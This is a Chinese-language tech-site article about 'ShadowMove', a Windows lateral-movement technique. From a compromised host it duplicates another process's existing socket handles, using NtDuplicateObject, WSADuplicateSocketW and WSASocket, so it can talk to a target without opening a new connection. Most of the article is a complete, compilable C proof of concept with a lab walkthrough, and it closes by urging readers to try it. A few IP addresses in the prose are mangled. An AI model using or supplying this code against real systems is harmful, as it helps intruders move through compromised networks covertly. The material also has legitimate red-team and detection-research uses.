溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何理解ShadowMove橫向滲透新手段:通過(guò)復(fù)制現(xiàn)有Socket實(shí)現(xiàn)橫向滲透

發(fā)布時(shí)間:2021-10-19 11:24:15 來(lái)源:億速云 閱讀:211 作者:iii 欄目:編程語(yǔ)言

本篇內(nèi)容主要講解“如何理解ShadowMove橫向滲透新手段:通過(guò)復(fù)制現(xiàn)有Socket實(shí)現(xiàn)橫向滲透”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強(qiáng)。下面就讓小編來(lái)帶大家學(xué)習(xí)“如何理解ShadowMove橫向滲透新手段:通過(guò)復(fù)制現(xiàn)有Socket實(shí)現(xiàn)橫向滲透”吧!

技術(shù)概覽

下圖顯示的是這項(xiàng)技術(shù)工作機(jī)制的簡(jiǎn)單流程圖,以及我們?nèi)绾卧谧约旱膶?shí)驗(yàn)環(huán)境中進(jìn)行測(cè)試。在下圖中,我們使用了ShadowMove技術(shù)在源主機(jī)和目標(biāo)主機(jī)之間進(jìn)行通信:

如何理解ShadowMove橫向滲透新手段:通過(guò)復(fù)制現(xiàn)有Socket實(shí)現(xiàn)橫向滲透

我跟大家解釋一下上面這張圖的具體情況:

在上圖的左邊部分,我們有一臺(tái)被入侵的主機(jī)(比如說(shuō),我們通過(guò)釣魚(yú)攻擊入侵了這臺(tái)主機(jī)),IP地址為168.1.117。這臺(tái)主機(jī)就是我們需要開(kāi)始橫向滲透的源主機(jī),我們需要利用它來(lái)攻擊IP地址為192.168.56.102的主機(jī)。

在右邊部分,是我們的目標(biāo)主機(jī),IP地址為168.56.102,這臺(tái)主機(jī)在TCP端口80有一個(gè)正在監(jiān)聽(tīng)的Socket,運(yùn)行命令為“nc -lvp 80”。

源主機(jī)168.1.117已經(jīng)與我們的目標(biāo)主機(jī)192.168.56.102:80通過(guò)nc.exe建立了連接。

在源主機(jī)上,有一個(gè)名為exe的正在運(yùn)行的進(jìn)程。這個(gè)進(jìn)程將負(fù)責(zé)執(zhí)行ShadowMove橫向滲透操作。需要注意的是,它在整個(gè)生命周期中并不會(huì)跟遠(yuǎn)程主機(jī)建立任何連接,這也是這項(xiàng)技術(shù)的獨(dú)特魅力所在。

在源主機(jī)上,exe會(huì)枚舉所有跟nc.exe和\Device\Afd相關(guān)的處理程序,并用于網(wǎng)絡(luò)Socket通信。找到之后,該進(jìn)程將使用這些處理程序并調(diào)用WSADuplicateSocketW和WSASocket這兩個(gè)API來(lái)復(fù)制Socket。創(chuàng)建好共享Socket之后,進(jìn)程將會(huì)使用getpeername來(lái)判斷Socket的目標(biāo)地址是否為目標(biāo)主機(jī)的IP地址,即192.168.56.102。

當(dāng)基于\Device\Afd的指向目標(biāo)主機(jī)的共享Socket創(chuàng)建之后,exe將能夠使用send API向Socket中寫(xiě)入數(shù)據(jù),或使用recv API來(lái)從中讀取數(shù)據(jù)。

再次強(qiáng)調(diào)一點(diǎn),ShadowMove.exe并不會(huì)創(chuàng)建任何指向目標(biāo)主機(jī)的TCP鏈接。相反,它會(huì)直接復(fù)用源主機(jī)和目標(biāo)主機(jī)之間(192.168.56.102:80)的現(xiàn)有的Socket,這也是該橫向滲透技術(shù)的關(guān)鍵之處。

PoC代碼

下面給出的是由安全專(zhuān)家Juan Manuel Fernández提供的PoC代碼,為了在Visual Studio 2019的開(kāi)發(fā)環(huán)境中完成代碼編譯,本人對(duì)其進(jìn)行了部分修改:

// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL)

 

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <winsock2.h>

#include <Windows.h>

#include <stdio.h>

 

#pragma comment(lib,"WS2_32")

 

// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp

#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004

#define SystemHandleInformation 16

#define ObjectNameInformation 1

 

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(

ULONG SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

typedef NTSTATUS(NTAPI* _NtDuplicateObject)(

HANDLE SourceProcessHandle,

HANDLE SourceHandle,

HANDLE TargetProcessHandle,

PHANDLE TargetHandle,

ACCESS_MASK DesiredAccess,

ULONG Attributes,

ULONG Options

);

typedef NTSTATUS(NTAPI* _NtQueryObject)(

HANDLE ObjectHandle,

ULONG ObjectInformationClass,

PVOID ObjectInformation,

ULONG ObjectInformationLength,

PULONG ReturnLength

);

 

typedef struct _SYSTEM_HANDLE

{

ULONG ProcessId;

BYTE ObjectTypeNumber;

BYTE Flags;

USHORT Handle;

PVOID Object;

ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

 

typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG HandleCount;

SYSTEM_HANDLE Handles[1];

} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

 

typedef struct _UNICODE_STRING

{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

 

 

typedef enum _POOL_TYPE

{

NonPagedPool,

PagedPool,

NonPagedPoolMustSucceed,

DontUseThisType,

NonPagedPoolCacheAligned,

PagedPoolCacheAligned,

NonPagedPoolCacheAlignedMustS

} POOL_TYPE, * PPOOL_TYPE;

 

typedef struct _OBJECT_NAME_INFORMATION

{

UNICODE_STRING Name;

} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

 

PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName)

{

return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);

}

 

SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {

HANDLE hProc;

PSYSTEM_HANDLE_INFORMATION handleInfo;

DWORD handleInfoSize = 0x10000;

NTSTATUS status;

DWORD returnLength;

WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };

SOCKET targetSocket;

 

// Open target process with PROCESS_DUP_HANDLE rights

hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);

if (!hProc) {

printf("[!] Error: could not open the process!\n");

exit(-1);

}

printf("[+] Handle to process obtained!\n");

 

// Find the functions

_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");

_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");

_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");

 

// Retrieve handles from the target process

handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)

handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

 

printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId);

 

// Iterate

for (DWORD i = 0; i < handleInfo->HandleCount; i++) {

 

// Check if it is the desired type of handle

if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {

 

SYSTEM_HANDLE handle = handleInfo->Handles[i];

HANDLE dupHandle = NULL;

POBJECT_NAME_INFORMATION objectNameInfo;

 

// Duplicate handle

NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);

objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);

 

// Get handle info

NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);

 

// Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2)

if (objectNameInfo->Name.Length == 22) {

printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount);

 

// Check if it ends in "Afd"

LPWSTR needle = (LPWSTR)malloc(8);

memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);

if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {

 

// We got a candidate

printf("\t[*] \\Device\\Afd found at %d!\n", i);

 

// Try to duplicate the socket

status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);

if (status != 0) {

printf("\t\t[X] Error duplicating socket!\n");

free(needle);

free(objectNameInfo);

CloseHandle(dupHandle);

continue;

}

 

// We got it?

targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);

if (targetSocket != INVALID_SOCKET) {

struct sockaddr_in sockaddr;

DWORD len;

len = sizeof(SOCKADDR_IN);

 

// It this the socket?

if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) {

if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {

printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr));

free(needle);

free(objectNameInfo);

return targetSocket;

}

}

 

}

 

free(needle);

}

 

}

free(objectNameInfo);

 

}

}

 

return 0;

}

 

 

int main(int argc, char** argv) {

WORD wVersionRequested;

WSADATA wsaData;

DWORD dwProcessId;

LPSTR dstIP = NULL;

SOCKET targetSocket;

char buff[255] = { 0 };

 

printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n");

 

// smgateway.exe [PID] [IP dst]

/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */

if (argc != 3) {

printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]);

exit(-1);

}

dwProcessId = strtoul(argv[1], NULL, 10);

dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1);

memcpy(dstIP, argv[2], strlen(dstIP));

 

 

// Classic

wVersionRequested = MAKEWORD(2, 2);

WSAStartup(wVersionRequested, &wsaData);

 

targetSocket = findTargetSocket(dwProcessId, dstIP);

send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0);

recv(targetSocket, buff, 255, 0);

printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff);

return 0;

}

演示樣例

編譯好上述代碼之后,我們就可以進(jìn)行測(cè)試了。在下面的演示樣例中,我們演示了ShadowMove橫向滲透技術(shù)的實(shí)踐場(chǎng)景:

如何理解ShadowMove橫向滲透新手段:通過(guò)復(fù)制現(xiàn)有Socket實(shí)現(xiàn)橫向滲透

到此,相信大家對(duì)“如何理解ShadowMove橫向滲透新手段:通過(guò)復(fù)制現(xiàn)有Socket實(shí)現(xiàn)橫向滲透”有了更深的了解,不妨來(lái)實(shí)際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI